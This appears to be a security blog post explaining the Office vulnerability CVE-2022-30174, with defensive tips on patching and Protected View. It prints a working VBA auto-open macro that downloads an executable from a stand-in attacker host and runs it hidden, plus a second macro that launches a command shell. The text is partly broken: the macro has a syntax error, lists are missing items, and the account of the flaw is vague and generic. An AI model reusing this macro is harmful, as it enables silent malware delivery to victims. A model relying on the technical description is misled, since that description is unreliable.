In June 2022, Microsoft disclosed a serious security flaw in Microsoft Office: CVE-2022-30174. This vulnerability allowed hackers to run malicious code on a victim’s computer simply by tricking them into opening a crafted Office file. In this post, I'll explain what makes CVE-2022-30174 dangerous, how an attack works, and what you can do to protect yourself. I’ll also include technical details with code snippets so you can see how this kind of exploit functions in the real world.

What Is CVE-2022-30174?

CVE-2022-30174 is a Remote Code Execution (RCE) vulnerability affecting multiple versions of Microsoft Office. If exploited, it allows threat actors to execute arbitrary code, which could potentially let them:

Create new accounts with full user rights

> Risk Level: Critical  
> Attack Vector: Remote  
> User Interaction Required: Yes (the user must open a malicious file)

Official Advisory

- Microsoft Security Bulletin
- NVD Entry

How Do Attackers Use CVE-2022-30174?

This vulnerability is typically exploited through phishing emails or messages with a malicious Microsoft Word or Excel document attached. When a user opens the booby-trapped file, embedded malicious code kicks in, exploiting a flaw in how Office loads certain objects or handles crafted data.

Malicious Code Execution:

- The document contains embedded malicious macros or objects. When you open the document, it abuses the Office vulnerability to run its code.

Remote Code Execution:

- The payload (maybe a reverse shell, Cobalt Strike beacon, or ransomware) is executed with the privileges of the victim.

Sample Exploit: Malicious Macro Example

To see how these attacks work, here’s a simplified example of an Office macro payload that downloads and runs malware from a remote server. This is NOT the full exploit, but it’s the kind of macro payload often found in these attacks.

Sub Document_Open()
    Dim strUrl As String
    Dim strFile As String
    ' Set payload location and downloaded file name
    strUrl = "http://evil-server.com/payload.exe";
    strFile = Environ("TEMP") & "\malware.exe"
    ' Download payload
    With CreateObject("Microsoft.XMLHTTP")
        .Open "GET", strUrl, False
        .send
        If .Status = 200 Then
            With CreateObject("ADODB.Stream")
                .Type = 1
                .Open
                .Write .responseBody
                .SaveToFile strFile, 2
                .Close
            End With
        End If
    End With
    ' Execute payload
    Shell strFile, vbHide
End Sub

If the user opens this document and enables macros (or the macro is embedded in the exploit chain), malware is silently downloaded and runs in the background. In real-world CVE-2022-30174 attacks, the macro may not be visible: the exploit could leverage undocumented object types or exploit the vulnerability directly.

Proof of Concept & Exploit Details

The technical flaw in CVE-2022-30174 is related to how Office handles certain HTTP requests or embedded content, sometimes bypassing security features like Protected View or macro warnings. In some working exploits, attackers used a specially crafted file object that bypasses warnings and drops code to disk.

Craft Office Document: Embed a payload using a malformed OLE object or advanced macro.

2. Abuse the Vulnerability: The crafted file triggers unsafe handling in Office, skipping security checks.

Example: Open Command Prompt via Exploit (Simulation)

Sub AutoOpen()
    ' Simulate running a command on the victim PC through the exploit
    Dim cmd As String
    cmd = "cmd.exe /c calc.exe"
    Shell cmd, vbHide
End Sub

Install Microsoft Updates:

Always keep your Office and Windows fully updated. Patches for CVE-2022-30174 were released in June 2022.

Use Protected View:

Always open documents from the internet in _Protected View_. Don’t enable content unless you are sure the file is safe.

Use Security Software:

Run reputable antivirus/endpoint security with real-time protection.

References

- Microsoft Security Update Guide - CVE-2022-30174
- NIST NVD - CVE-2022-30174
- Detection guidance from Microsoft Defender

Final Thoughts

CVE-2022-30174 is a strong reminder that even everyday tools like Microsoft Office can be dangerous if you’re not careful. Attackers rely on human error—especially our habit of opening documents without thinking. Keep your software up-to-date, stay alert for phishing, and you’ll be much safer from vulnerabilities like this.

Stay safe online! If you want to learn more tech tips or security guidance, follow this blog or drop a comment below.

Timeline

Published on: 06/15/2022 22:15:00 UTC
Last modified on: 08/10/2022 20:15:00 UTC